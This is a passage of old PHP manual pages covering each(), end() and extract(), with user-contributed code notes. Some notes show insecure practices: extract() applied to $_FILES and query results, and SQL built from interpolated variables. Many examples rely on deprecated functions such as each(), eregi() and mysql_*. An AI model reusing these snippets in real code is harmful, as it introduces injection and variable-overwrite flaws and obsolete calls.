Ok Here's one for iterating multidimensional array .. using foreach

    <?php
        $members = array(
                            "member1" => array (
                                                "First Name" => "Robert",
                                                "Last Name" => "Burton",
                                                "Age" => "20"
                                                ),
                            "member2" => array (
                                                "First Name" => "Cheska",
                                                "Last Name" => "Vladesk",
                                                "Age" => "21"
                                                ),
                            "member3" => array (
                                                "First Name" => "Gino",
                                                "Last Name" => "Marley",
                                                "Age" => "19"
                                                ),
                            "member4" => array (
                                                "First Name" => "Jake",
                                                "Last Name" => "White",
                                                "Age" => "16"
                                                ),
                            );
        $dataSetCount = count($members);
        echo "<h1>There are $dataSetCount members</h1>";

        $i = 0;
        foreach ($members as $each_members) {
            $i++;
            echo "<h2>Member $i</h2>";
                foreach ($each_members as $position => $details) {
                    echo "<b>$position</b>" . ": " . $details . "<br />";
                }
            }
    ?>
massimo dot modica at tin dot it 03-Feb-2010 02:36
If you forget to reset the array before each(), the same code may give different results with different php versions.

<?php

$a = array(1,2,3);

foreach ($a AS $k => $v) $a[$k] = 2*$v;

while(list($k2, $v2) = each($a)) { echo($v2."\n"); }

?>

In PHP 5.2.0:

2
4
6

In PHP 5.2.6:

4
6
php at omit dot ianco dot co dot uk 13-Apr-2008 06:10
I wanted to be able to add to an array while looping through it. foreach does not allow this because it is using a secret copy of the array. each makes this possible (tested on PHP 4).
<?php
$shopping_list = array('oysters', 'caviare');
reset ($shopping_list);
while (list($key, $value) = each ($shopping_list)) {
    if ($value == 'oysters') $shopping_list[] = 'champagne';
    elseif ($value == 'champagne') $shopping_list[] = 'ice';
}
print_r($shopping_list);
// Array ( [0] => oysters [1] => caviare [2] => champagne [3] => ice )
?>
wolfeym38 at yahoo dot com 11-Jun-2007 11:28
Regarding speed of foreach vs while(list) =each
I wrote a benchmark script and the results are that clearly foreach is faster. MUCH faster. Even with huge arrays (especially with huge arrays). I tested with sizes 100,000. 1,000,000 and 10,000,000. To do the test with 10 million i had to set my memory limit real high, it was close to 1gb by the time it actually worked. Anyways,

<?php
function getDiff($start, $end) {
    $s = explode(' ', $start);
    $stot = $s[1] + $s[0];
    $e = explode(' ', $end);
    $etot = $e[1] + $e[0];
    return $etot - $stot;
}

$lim=10000000;
$arr = array();
for ($i=0; $i<$lim; $i++) {
    $arr[$i] = $i/2;
}

$start = microtime();
foreach ($arr as $key=>$val);

$end = microtime();
echo "time for foreach = " . getDiff($start, $end) . ".\n";

reset($arr);
$start = microtime();
while (list($key, $val) = each($arr));
$end = microtime();
echo "time list each = " . getDiff($start, $end) . ".\n";
?>

here are some of my results: with 1,000,000
time for foreach = 0.0244591236115.
time list each = 0.158002853394.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 0.0245339870453.
time list each = 0.154260158539.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 0.0269000530243.
time list each = 0.157305955887.

then with 10,000,000:
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 1.96586894989.
time list each = 14.1371650696.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 2.02504014969.
time list each = 13.7696218491.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 2.0246758461.
time list each = 13.8425710201.

by the way, these results are with php 5.2 i believe, and a linux machine with 3gb of ram and 2.8ghz dual core pentium
michael k (name der redaktion bekannt.) 10-May-2007 12:36
If you want to iterate over a two-dimensional, sparse array, and want to  first display every first element, then every second and so on, you can use this code:

 $fruits = array ( "fruits"  => array ( "a" => "orange",
                                      "b" => "banana",
                                      "c" => "apple"
                                    ),
                 "numbers" => array ( 1,
                                      2,
                                      3,
                                      4,
                                      5,
                                      6
                                    ),
                 "holes"   => array (      "first",
                                      5 => "second",
                                           "third",
                                     10 => "fourth",
                                    )
               );

$done = False;
while ($done == False) {
       $done = True;

       // Important: &$val has to be a reference (use the &),
       // if you don't, the internal counter of $val will be
       // re-initialized each time and you loop over the first elements
       // for eternity.

       foreach($fruits as $key => &$val) {

               if (list($inner_key, $inner_val) = each(&$val)) {
                       $done = False;
                       echo "$key : : $inner_key => $inner_val  <br>  \n";
               }

       }
}

NOTE: this is just a quick hack, if you know a better way, post it!
sjoerd-php at linuxonly dot nl 31-Mar-2006 06:04
Use foreach instead of while, list and each. Foreach is:
- easier to read
- faster
- not influenced by the array pointer, so it does not need reset().

It works like this:
<?php
$arr = array('foo', 'bar');
foreach ($arr as $value) {
    echo "The value is $value.";
}

$arr = array('key' => 'value', 'foo' => 'bar');
foreach ($arr as $key => $value) {
    echo "Key: $key, value: $value";
}
?>
matthew at mhalls dot net 04-Dec-2005 03:58
To panania at 3ringwebs dot com:

If you know for certain that you are only receiving one row, the while becomes redundant. To shorten your code:

$strSQL = "SELECT * FROM table WHERE id=1";
$RecordsetSelect = $db->runQuery ($strSQL);
list($key, $val) = mysql_fetch_row($RecordsetSelect);
echo "$key => $val\n";
mysql_free_result($RecordsetSelect);

With only one row being returned this is more elegant a solution, but just being nit-picky in essence. It also shows another quick way of using list.
amby2 at izh dot com 24-Nov-2005 09:55
I've found a compact way to cycle through an associative array using for statement (not while, as it has been done in the most of examples below):

<?php

for (reset($array); list($key) = each($array);) {
  echo $key;
  echo $array[$key];
}

?>

or

<?php

for (reset($array); list($key, $value) = each($array);) {
  echo $key;
  echo $value;
  echo $array[$key];
}

?>

You hardly forget to add reset($array) code line using such construction.
Sopinon 23-Jul-2005 05:17
If you want to display the hole structure (tree) of your array, then you can use this recursive solution.

<?PHP
$tree= "";
array_tree($your_array);
echo $tree;

// Recursive Function
function array_tree($array, $index=0){
    global $tree;
    $space="";
    for ($i=0;$i<$index;$i++){
        $space .= "     ";
    }
    if(gettype($array)=="array"){
        $index++;
        while (list ($x, $tmp) = each ($array)){
            $tree .= $space."$x => $tmp\n";
            array_tree($tmp, $index);
        }
    }
}
?>
james at gogo dot co dot nz 02-Nov-2004 07:29
It's worth noting that references to an array don't have thier own array pointer, and taking a reference to an array doesn't reset it's array pointer, so this works as you would expect it would by eaching the first three items of the array, rather than the first item 3 times.

<?php
  $x = array(1,2,3);

  print_r(each($x));
  echo "\n";

  $y =& $x;
  print_r(each($y));
  echo "\n";

  $z =& $y;
  print_r(each($z));
  echo "\n";
?>
panania at 3ringwebs dot com 31-Dec-2003 05:51
The last method for record sets is great if you don't know the number of rows returned from a query, but if you do there's an easier way...

$strSQL = "SELECT * FROM table WHERE id=1";
$RecordsetSelect = $db->runQuery ($strSQL);
$row_Recordset1 = mysql_fetch_assoc($RecordsetSelect);
while (list($key, $val) = each($row_Recordset1)) {
    echo "$key => $val\n";
}
mysql_free_result($RecordsetSelect);

Here we know that only 1 record will be returned because of the WHERE criteria. (Of course this is dependent on you own DB schema.)
wodzuY2k at anronet dot pl 04-Aug-2002 12:41
This function will help you dump any variable into XML structure.

        //dump var into simple XML structure
        function var_dump_xml($tagname,$variable,$level=0)
         {
            for($i=0;$i<$level;$i++) $marg.=' ';
            if (eregi('^[0-9].*$',$tagname)) $tagname='tag_'.$tagname; //XML tag cannot start with [0-9] character
            if (is_array($variable))
             {
                echo $marg."<$tagname>\n";
                while (list ($key, $val) = each ($variable))  var_dump_xml($key,$val,$level+1);
                echo $marg."</$tagname>\n";
             }
            elseif (strlen($variable)>0)
             {
                 echo $marg."<$tagname>".htmlspecialchars($variable)."</$tagname>\n";
             };
         };

        /*
        example:

        $myVar = array("name"=>"Joe", "age"=>"26", "children"=>array("Ann","Michael"));
        var_dump_xml("myVarTag",$myVar);
        */
Gillis at dancrea dot com 26-May-2002 10:13
I wrote a short and pretty simple script to search through associative arrays for some value in the values, heres a simplifyed example of it:

<?php

$foo['bob'] = "bob is ugly";
$foo['bill'] = "bill is rich";
$foo['barbie'] = "barbie is cute";
$search = "rich";

echo "searching the array foo for $search:<br>";
reset ($foo);
while (list ($key, $val) = each ($foo)) {
if (preg_match ("/$search/i", $val)) {
    print "A match was found in $key.<br />";
} else {
    print "A match was not found in $key.<br />";
}
}

?>

will output:
Searching the array foo for rich:
A match was not found in bob
A match was found in bill
A match was not found in barbie
wodzuY2k at anronet dot pl 08-May-2002 09:40
Yet another useful example of how to make globals out of the config file.

config file:
[section1]
 value=foo

PHP result :
variable: $section1_value=foo;

function servicesConfig_makeGlobals()
 {
    global $servicesConfig;
    $servicesConfig = parse_ini_file("servicesConfig.conf", TRUE);
    reset($servicesConfig);
    while (list ($section, $section_val) = each ($servicesConfig))
     {
         reset($servicesConfig[$section]);
        while (list ($key, $val) = each ($servicesConfig[$section]))
         {
            $GLOBALS[$section.'_'.$key]=$val;
         };
     };
 };
13-Feb-2002 04:10
I usually work a lot with 2D arrays. Since I've had some trouble traversing them correctly maybe someone out there also experienced those problems and can use this one.

It's based on a 2D-array called $array[$x][$y]. At some (but not necessarily all) (x,y) there is a value I want to reach. Note that I do not know beforehand the ranges of $x or $y (that is their highest and lowest values).

while (list ($x, $tmp) = each ($array)) {
   while (list ($y, $val) = each ($tmp)) {
      echo "$x, $y, $val";
   }
}

The answer for each (x,y) pair can thus be (providng, of course those values where in your array beforehand):

1, 1, 2
2, 2, 0
3, 1, 1
5, 2, 2
5, 1, 2

Note that only the (x,y) pairs with a corresponding value is shown.

Hang in there
Jon Egil Strand
NTNU
tk at turtle-entertainment dot de 29-Jan-2001 11:33
Be sure to use the integrated functions "unset();" or "reset();" - many people forget this and wonder about the created output!
kris at angelanthony dot com 25-Oct-2000 01:03
Remember to use "reset()" if you iterate over an array with "each()" more than once!  Example:

while(list($key,$value) = each($array)){
 // code here
}

NOW the internal pointer on $array is at the end of the array, and another attempt at an iteration like the one above will result in zero executions of the code within the "while" block.  You MUST call "reset($array)" to reset the internal array pointer before iterating over the array again from the first element.
phpmanual at devin dot com 14-Jul-2000 05:26
Note further that each() performs a shallow copy
of the value side of an (assoc) array; if you need to iterate on deep structures, something like:

<?php

reset($A); while (list($k,) = each($A)) {
    $elem = &$A[$k];
    /* ... */
}

?>

Is needed.  Copy construction would be handy to have here.
ellenzhg at hotmail dot com 30-Mar-2000 12:06
<?php
//each.php

$foo = array( "Robert" => "Bob", "Seppo" => "Sepi" );
$bar = each( $foo );
$k = implode(array_keys($bar),",");
$v = implode(array_values($bar),",");
echo $k ."<br>";
echo $v;
?>

output:
1,value,0,key
Bob,Bob,Robert,Robert
Above example only be interpretered by PHP4.
pyxl at dont_spam_on_me dot jerrell dot com 16-Feb-2000 03:41
Ok, for you folks who are learning this, here's something that should help your comprehension of each(), because I bashed my brains for a while on this one.

The first example indicates that each() spits out a 4-cell 1 dimensional array.  This is all fine and dandy until you get to the second example, where that seems to be thrown out the window, because though each() is still spitting out 4 array elements, the list() being used is set up to only accept 2 values, as it's being executed with only wo variables in it!

For some folks, this might not be a problem, but I couldn't understand the mismatch - why was it done, and where did the array go that each() generated??  Well, upon executing that code, it turns out that the first two array elements of the 4 element array that each() creates are assigned to those two variables, and the last two array element values are just thrown away - they're totally ignored.  It's how PHP is written.

Now, why do that?  Well, the example was definitely written more to show folks how to use each() to make life much easier when dealing with a particular operations array in PHP that a lot of people work with, but it also has the side effect (which hopefully my little explaination has made more palatable) of demonstrating how each() can act when being used with other functions that don't necessarily want all of each()'s input.
current
end
Array Functions


Set the internal pointer of an array to its last element

each
extract
Array Functions
PHP Manual

end

(PHP 4, PHP 5)

end — Set the internal pointer of an array to its last element

Description

mixed end ( array &$array )

end() advances array's internal pointer to the last element, and returns its value.

Parameters

array

The array. This array is passed by reference because it is modified by the function. This means you must pass it a real variable and not a function returning an array because only actual variables may be passed by reference.

Return Values

Returns the value of the last element or FALSE for empty array.

Examples

Example #1 end() example

<?php

$fruits = array('apple', 'banana', 'cranberry');
echo end($fruits); // cranberry

?>

See Also

  • current() - Return the current element in an array
  • each() - Return the current key and value pair from an array and advance the array cursor
  • prev() - Rewind the internal array pointer
  • reset() - Set the internal pointer of an array to its first element
  • next() - Advance the internal array pointer of an array

User Contributed Notes

Tim C 16-Dec-2010 07:41
An easy (and correct) way to get the last key:
$lastkey = array_pop(array_keys($arr));
franz at develophp dot org 01-Dec-2010 03:06
It's interesting to note that when creating an array with numeric keys in no particular order, end() will still only return the value that was the last one to be created. So, if you have something like this:

    <?php
    $a = array();
    $a[1] = 1;
    $a[0] = 0;
    echo end($a);
    ?>

This will print "0".
laurence at crazypillstudios dot com 07-Jun-2010 02:12
this is a function to move items in an array up or down in the array. it is done by breaking the array into two separate arrays and then have a loop creates the final array adding the item we want to move when the counter is equal to the new position we established the array key, position and direction were passed via a query string

<?php
//parameters
//$array- the array you are modifying
//$keytomove - the key of the item you wish to move
//$pos - the current position of the item: used a count($array) function
//and then loop with incrementing integer to add the position to the up //or down button
//$dir - the direction you want to move it - "up"/"dn"

function change_pos($array, $keytomove, $pos, $dir){
    //count the original number of rows
    $count = count($array);
    //set the integer we will use to place the moved item
    if($dir=="up"){
        if($pos==1){
            //if the item is already first and we try moving it up
            //we send it to the end of the array
            $change = $count;
        }else{
            //anywhere else it just moves back one closer to the start of the array
            $change = $pos-1;
        }
    }
    //do the same for the down button
    if($dir=="dn"){
        if($pos==$count){
            $change = 1;
        }else{
            $change = $pos+1;
        }
    }
    //copy the element that you wish to move
    $move = $array[$keytomove];
    //delete the original from the main array
    unset($array[$keytomove]);
    //create an array of the names of the values we
    //are not moving
    $preint = 1;
    foreach($array as $c){
        $notmoved["{$preint}"] = $c['name'];
    $preint++;
    }
    //loop through all the elements
    $int = 1;
    while($int<=$count){
        //dynamically change the key of the unmoved item as we increment the counter
        $notmovedkey = $notmoved["$int"];
        //when the counter is equal to the position we want
        //to place the moved entry we pump it into a new array
        if($int==$change){
            $neworder["{$keytomove}"] = $move;
        }
        //add all the other array items if the position number is not met and
        //resume adding them once the moved item is written
        if($contkey!=""){
            $neworder["{$notmovedkey}"] = $array["{$notmovedkey}"];
        }
    $int++;
    }

    return($neworder);
}
?>

This is not too elegant but it works.
Sam Yong - hellclanner at live dot com 23-Aug-2009 05:05
Take note that end() does not recursively set your multiple dimension arrays' pointer to the end.

Take a look at the following:
<?php

// create the array for testing
$a = array();
$i = 0;
while($i++ < 3){
$a[] = array(dechex(crc32(mt_rand())),dechex(crc32('lol'.mt_rand())));
}

// show the array tree
echo '<pre>';var_dump($a);

// set the pointer of $a to the end
end($a);

// get the current element of $a
var_dump(current($a));
// get the current element of the current element of $a
var_dump(current(current($a)));

?>

You will notice that you probably get something like this:

array(3) {
  [0]=>
  array(2) {
    [0]=>
    string(8) "764d8d20"
    [1]=>
    string(8) "85ee186d"
  }
  [1]=>
  array(2) {
    [0]=>
    string(8) "c8c72466"
    [1]=>
    string(8) "a0fdccb2"
  }
  [2]=>
  array(2) {
    [0]=>
    string(8) "3463a31b"
    [1]=>
    string(8) "589f6b63"
  }
}

array(2) {
  [0]=>
  string(8) "3463a31b"
  [1]=>
  string(8) "589f6b63"
}

string(8) "3463a31b"

The array elements' pointer are still at the first one as current. So do take note.
admin at nabito dot net 06-Aug-2008 12:04
This is simple way how to get file extension.

<?php
$filename = 'somefile.jpg';
echo end(explode(".", $filename)); // return jpg string

$filename = 'the_another_file.html';
echo end(explode(".", $filename)); // return html string
?>
jasper at jtey dot com 11-Jul-2006 12:48
This function returns the value at the end of the array, but you may sometimes be interested in the key at the end of the array, particularly when working with non integer indexed arrays:

<?php
// Returns the key at the end of the array
function endKey($array){
 end($array);
 return key($array);
}
?>

Usage example:
<?php
$a = array("one" => "apple", "two" => "orange", "three" => "pear");
echo endKey($a); // will output "three"
?>
ken at expitrans dot com 27-Oct-2005 09:02
Please note that from version 5.0.4 ==> 5.0.5 that this function now takes an array. This will possibly break some code for instance:

<?php

echo ">> ".end(array_keys(array('x' => 'y')))."\n";

?>

which will return "Fatal error: Only variables can be passed by reference" in version <= 5.0.4 but not in 5.0.5.

If you run into this problem with nested function calls, then an easy workaround is to assign the result from array_keys (or whatever function) to an intermediary variable:

<?php

$x = array_keys(array('x' => 'y'));
echo ">> ".end($x)."\n";

?>
28-Aug-2002 06:34
If you need to get a reference on the first or last element of an array, use these functions because reset() and end() only return you a copy that you cannot dereference directly:

<?php
function first(&$array) {
if (!is_array($array)) return &$array;
if (!count($array)) return null;
reset($array);
return &$array[key($array)];
}

function last(&$array) {
if (!is_array($array)) return &$array;
if (!count($array)) return null;
end($array);
return &$array[key($array)];
}
?>
28-Aug-2002 06:17
When adding an element to an array, it may be interesting to know with which key it was added. Just adding an element does not change the current position in the array, so calling key() won't return the correct key value; you must first position at end() of the array:

<?php
function array_add(&$array, $value) {
$array[] = $value; // add an element
end($array); // important!
return key($array);
}
?>
each
extract
Array Functions


Import variables into the current symbol table from an array

end
in_array
Array Functions
PHP Manual

extract

(PHP 4, PHP 5)

extract — Import variables into the current symbol table from an array

Description

int extract ( array &$var_array [, int $extract_type = EXTR_OVERWRITE [, string $prefix ]] )

Import variables from an array into the current symbol table.

Checks each key to see whether it has a valid variable name. It also checks for collisions with existing variables in the symbol table.

Parameters

var_array

An associative array. This function treats keys as variable names and values as variable values. For each key/value pair it will create a variable in the current symbol table, subject to extract_type and prefix parameters.

You must use an associative array; a numerically indexed array will not produce results unless you use EXTR_PREFIX_ALL or EXTR_PREFIX_INVALID.

extract_type

The way invalid/numeric keys and collisions are treated is determined by the extract_type. It can be one of the following values:

EXTR_OVERWRITE
If there is a collision, overwrite the existing variable.
EXTR_SKIP
If there is a collision, don't overwrite the existing variable.
EXTR_PREFIX_SAME
If there is a collision, prefix the variable name with prefix.
EXTR_PREFIX_ALL
Prefix all variable names with prefix.
EXTR_PREFIX_INVALID
Only prefix invalid/numeric variable names with prefix.
EXTR_IF_EXISTS
Only overwrite the variable if it already exists in the current symbol table, otherwise do nothing. This is useful for defining a list of valid variables and then extracting only those variables you have defined out of $_REQUEST, for example.
EXTR_PREFIX_IF_EXISTS
Only create prefixed variable names if the non-prefixed version of the same variable exists in the current symbol table.
EXTR_REFS
Extracts variables as references. This effectively means that the values of the imported variables are still referencing the values of the var_array parameter. You can use this flag on its own or combine it with any other flag by OR'ing the extract_type.

If extract_type is not specified, it is assumed to be EXTR_OVERWRITE.

prefix

Note that prefix is only required if extract_type is EXTR_PREFIX_SAME, EXTR_PREFIX_ALL, EXTR_PREFIX_INVALID or EXTR_PREFIX_IF_EXISTS. If the prefixed result is not a valid variable name, it is not imported into the symbol table. Prefixes are automatically separated from the array key by an underscore character.

Return Values

Returns the number of variables successfully imported into the symbol table.

Changelog

Version | Description
4.3.0 | EXTR_REFS was added.
4.2.0 | EXTR_IF_EXISTS and EXTR_PREFIX_IF_EXISTS were added.
4.0.5 | This function now returns the number of variables extracted. EXTR_PREFIX_INVALID was added. EXTR_PREFIX_ALL includes numeric variables as well.

Examples

Example #1 extract() example

A possible use for extract() is to import into the symbol table variables contained in an associative array returned by wddx_deserialize().

<?php

/* Suppose that $var_array is an array returned from
   wddx_deserialize */

$size = "large";
$var_array = array("color" => "blue",
                   "size"  => "medium",
                   "shape" => "sphere");
extract($var_array, EXTR_PREFIX_SAME, "wddx");

echo "$color, $size, $shape, $wddx_size\n";

?>

The above example will output:

blue, large, sphere, medium

The $size wasn't overwritten because we specified EXTR_PREFIX_SAME, which resulted in $wddx_size being created. If EXTR_SKIP was specified, then $wddx_size wouldn't even have been created. EXTR_OVERWRITE would have caused $size to have value "medium", and EXTR_PREFIX_ALL would result in new variables being named $wddx_color, $wddx_size, and $wddx_shape.

Notes

Warning

Do not use extract() on untrusted data, like user input (i.e. $_GET, $_FILES, etc.). If you do, for example if you want to run old code that relies on register_globals temporarily, make sure you use one of the non-overwriting extract_type values such as EXTR_SKIP and be aware that you should extract in the same order that's defined in variables_order within the php.ini.

Note:

If you have register_globals turned on and you use extract() on $_FILES and specify EXTR_SKIP, you may be surprised at the results.

Warning

This is not recommended practice and is only documented here for completeness. The use of register_globals is deprecated and calling extract() on untrusted data such as $_FILES is, as noted above, a potential security risk. If you encounter this issue, it means that you are using at least two poor coding practices.

<?php

/* Suppose that $testfile is the name of a file upload input
   and that register_globals is turned on. */

var_dump($testfile);
extract($_FILES, EXTR_SKIP);
var_dump($testfile);
var_dump($testfile['tmp_name']);

?>
You might expect to see something like the following:
string(14) "/tmp/phpgCCPX8"
array(5) {
  ["name"]=>
  string(10) "somefile.txt"
  ["type"]=>
  string(24) "application/octet-stream"
  ["tmp_name"]=>
  string(14) "/tmp/phpgCCPX8"
  ["error"]=>
  int(0)
  ["size"]=>
  int(4208)
}
string(14) "/tmp/phpgCCPX8"
However, you would instead see something like this:
string(14) "/tmp/phpgCCPX8"
string(14) "/tmp/phpgCCPX8"
string(1) "/"

This is due to the fact that since register_globals is turned on, $testfile already exists in the global scope when extract() is called. And since EXTR_SKIP is specified, $testfile is not overwritten with the contents of the $_FILES array so $testfile remains a string. Because strings may be accessed using array syntax and the non-numeric string tmp_name is interpreted as 0, PHP sees $testfile['tmp_name'] as $testfile[0].

See Also

  • compact() - Create array containing variables and their values
  • list() - Assign variables as if they were an array

User Contributed Notes

Robc 01-Nov-2011 06:30
When extracting from a row after a database query using for example:

$row = mysql_fetch_array($result, MYSQL_ASSOC)
extract($row);

I find that the resultant variables may not match the variable type in the database.  In particular I have found integers in the database may gettype() to string on the extracted variable.
darylblake at gmail dot com 12-Apr-2011 05:07
Warning: in larger php web applications this is not a good choice. Use of this function will not help maintainability of your code.

please read php warnings about using this on untrusted data:

<?php
$sql=query("SELECT * FROM contact WHERE contact_id='$invoicedata_clientcontact'");
        if ($tmp=fetch_array($sql))
        {
            extract($tmp);
        }
?>

it will create variables that may overwrite other variables and can cause strange behaviour, advise against using this function if at all possible.
Justin Heesemann 15-Jul-2010 07:32
This function shows odd behavior when used in class methods and an array key called "this" is being extracted:

<?php
class a {
        protected $foo;
        function b ($r) {
                extract($r);
                var_dump($this);
                //properties still can be acccessed:
                $this->foo = "bling";
                echo $this->foo,"\n";
                // next line would stop the script from compiling
                //$this = "this will raise a fatal error";

        }
}

$a = new a();
$a->b(array("this" => "that"));
?>

prints:
string(4) "that"
bling
Rodrigo 15-Jun-2010 09:41
Here's a way to use extract in $_FILES arrays without using register_gloabals on.

I started to use extract a few weeks ago, and my codes hasn't been so clean since then. The use of the arrays $_POST and $_GET is ok, but one missed doublequote causes a lot of trouble.

Besides I teach PHP in a school, and this function has made my examples easier.

<?php
if(isset($_FILES["file"])){
    extract($_FILES);
    extract($file);
    echo $name."<br>";
    echo $tmp_name."<br>";
    echo $size."<br>";
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Documento sin t&iacute;tulo</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<form action="" method="post" enctype="multipart/form-data" name="form1">
  <p>
    <input type="file" name="file">
</p>
  <p>
    <input type="submit" name="Submit" value="Enviar">
</p>
</form>
</body>
</html>

Hope this can help anyone.
auto493097 at hushmail dot com 23-Feb-2010 10:07
I use XDebug with NetbeansIDE to for analyzing and developing PHP Code. When debugging an extract statement no new variables appeared in the variable's list. Although all variables created by extract could be examined by explicit watch items and single variables appeared as soon as an PHP script makes use of them I am not sure weather it is a wrong configuration, a feature or a bug in XDebug.
danbettles at yahoo dot co dot uk 24-Aug-2009 04:04
When using EXTR_PREFIX_ALL - and probably all the other EXTR_PREFIX_* constants - and a numerically-indexed array, extract() will add an underscore ("_") between the prefix and the index.

<?php

extract(array('foo', 'bar'), EXTR_PREFIX_ALL, 'var');

print_r(get_defined_vars());  // Reveals $var_0 = 'foo' and $var_1 = 'bar'
?>
benjaminATwebbutvecklarnaDOTse 16-Mar-2008 07:15
In the meantime, I'm using this:

// extract alternative
# extracts variables where new value is above the threshold or if old value is on or below the threshold (or var is not defined)
# an associative array is obviously the sane thing to pass
#
# I am absolutely certain someone will find obvious problems or errors with this
# I haven't even tried to compare other values than 0 so if you need to do that and surely finds obvious flaws,
# please mail me, I'd really like to know.
# benjaminATwebbutvecklarnaDOTse

// usage example:
# thrextract(mysql_fetch_assoc(mysql_query("SELECT preset_this,preset_that FROM site_preset WHERE ID = $site_id")));
# thrextract(mysql_fetch_assoc(mysql_query("SELECT preset_this,preset_that FROM category_preset WHERE ID = $category_id")));

function thrextract($arr,$thr = 0){
    foreach($arr as $key => $var){
        global $$key;
        if($var > $thr or $$key <= $thr) $$key = $var;
    }
}
benjaminATwebbutvecklarnaDOTse 16-Mar-2008 06:19
Re: anon at anon dot org, about extract() and null values

Personally I've found use extracting multiple resultsets from db where the latter would overwrite the previous when a variable is not null ( and optionally if its not >0 )

It would be useful if $extract_type was extended on top of these two:

EXTR_OVERWRITE
EXTR_SKIP

with something like this:

EXTR_OVERWRITE_NULL
 - If there is a collision, overwrite the existing variable if it is null

EXTR_OVERWRITE_0
 - Same thing but == 0 or null

EXTR_SKIP_NULL
 - If there is a collision, skip the new variable if the existing is not null

EXTR_SKIP_0
 - Same thing but == 0 or null

Those ought to cover a few good cases that aren't covered now.
Hayley Watson 13-Mar-2008 03:18
Dan O'Donnell's suggestion needs a third requirement to work as described:

c) No other variables are defined - especially variables that contain potentially sensitive information.

Without that condition the difference between extract() and assigning variables by hand (and the resulting security implications) should be obvious.

The only valid security step there is (b) - but you should be doing that anyway.
Dan O'Donnell 21-Apr-2007 12:25
Following up on ktwombley at gmail dot com's post:

Presumably one easy way of dealing with this security issue is to use the EXTR_IF_EXISTS flag and make sure

a) your define acceptable input variables beforehand (i.e. as empty variables)
b) Sanitise any user input to avoid unacceptable variable content.

If you do these two things, then I'm not sure I see the difference between extract($_REQUEST,EXTR_IF_EXISTS); and assigning each of the variables by hand.

I'm not talking here about the idea of storing the variables in a database, just the immediately necessary steps to allow you to use extract on REQUEST arrays with relative safety.
Dutchdavey 13-Mar-2007 12:26
I would draw your attention to the user note at the very end of this page regarding PREFIXES. The user points out that php adds a '_' to your prefixes.
ktwombley at gmail dot com 31-Aug-2006 10:05
It's really easy to open gaping security holes using extract() on $_REQUEST, $_GET, etc. You have to be really sure of what you're doing, and use the proper flags on extract() to avoid clobbering important variables.

For instance, the submission by kake26 at gmail dot com will not only perfectly emulate register globals (that's bad), but it'll store it in a database and recall the same variables every time the script runs (essentially allowing an attacker to attack your script every time it runs via one attack). Oops!

To fix it, you'd have to get creative with flags. Maybe you could use EXTR_PREFIX_ALL instead of EXTR_OVERWRITE, for example. Of course, you should also sanitize the form elements to ensure there's no php code in them, and also to make sure any very important variables aren't in the form data. (like the classic $is_admin = true attack)
nicolas zeh 16-Mar-2006 09:24
This function provides exactly the same functionality as extract except that a parameter was added defining the extract target.
This function can be used if your PHP installation does not support the required Flags or more important if you would like to extract arrays to another destination as to $GLOBALS, i.e. other arrays or objects.
The only difference to extract is that extract_to moves the array pointer of $arr to the end as $arr is passed by reference to support the EXTR_REFS flag.

<?php
    if( !defined('EXTR_PREFIX_ALL') ) define('EXTR_PREFIX_ALL', 3);
    if( !defined('EXTR_PREFIX_INVALID') ) define('EXTR_PREFIX_INVALID', 4);
    if( !defined('EXTR_IF_EXISTS') ) define('EXTR_IF_EXISTS', 5);
    if( !defined('EXTR_PREFIX_IF_EXISTS') ) define('EXTR_PREFIX_IF_EXISTS', 6);
    if( !defined('EXTR_REFS') ) define('EXTR_REFS', 256);

    function extract_to( &$arr, &$to, $type=EXTR_OVERWRITE, $prefix=false ){

        if( !is_array( $arr ) ) return trigger_error("extract_to(): First argument should be an array", E_USER_WARNING );

        if( is_array( $to ) ) $t=0;
        else if( is_object( $to ) ) $t=1;
        else return trigger_error("extract_to(): Second argument should be an array or object", E_USER_WARNING );

        if( $type==EXTR_PREFIX_SAME || $type==EXTR_PREFIX_ALL || $type==EXTR_PREFIX_INVALID || $type==EXTR_PREFIX_IF_EXISTS )
            if( $prefix===false ) return trigger_error("extract_to(): Prefix expected to be specified", E_USER_WARNING );
            else $prefix .= '_';

        $i=0;
        foreach( $arr as $key=>$val ){

            $nkey = $key;
            $isset = $t==1 ? isset( $to[$key] ) : isset( $to->$key );

            if( ( $type==EXTR_SKIP && $isset )
                || ( $type==EXTR_IF_EXISTS && !$isset ) )
                    continue;

            else if( ( $type==EXTR_PREFIX_SAME && $isset )
                || ( $type==EXTR_PREFIX_ALL )
                || ( $type==EXTR_PREFIX_INVALID && !preg_match( '#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $key ) ) )
                    $nkey = $prefix.$key;

            else if( $type==EXTR_PREFIX_IF_EXISTS )
                if( $isset ) $nkey = $prefix.$key;
                else continue;

            if( !preg_match( '#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $nkey ) ) continue;

            if( $t==1 )
                if( $type & EXTR_REFS ) $to->$nkey = &$arr[$key];
                else $to->$nkey = $val;
            else
                if( $type & EXTR_REFS ) $to[$nkey] = &$arr[$key];
                else $to[$nkey] = $val;

            $i++;
        }

        return $i;
    }

    // e.g.:
    extract_to( $myarray, $myobject, EXTR_IF_EXISTS );
?>
owk dot ch199_ph at gadz dot org 08-Mar-2006 04:21
And if you want with PHP 5 an easy way to extract $V by reference, try this :
<?php
    foreach ($V as $k => &$v) {
        $$k =& $v;
    }
?>
It can be used to create special kind of "free args" functions that let you choose when you call them the way you send variables, and which ones. They are moreover very fast to call thanks to references :
<?php
    function free_args (&$V) {
        foreach ($V as $k => &$v) {
            $$k =& $v;
        }
        unset ($k);  unset ($v);  unset ($V);

        // be careful that if you need to extract $k, $v or $V variables you should find other names for them in the lines above (ie. $__k, $__v and $__V)
    }

    $huge_text = '...';

    $a = array ('arg1' => 'val1', 'arg2' => &$huge_text); // in this call, only $arg2 will be a true reference in the function
    free_args ($a);
?>
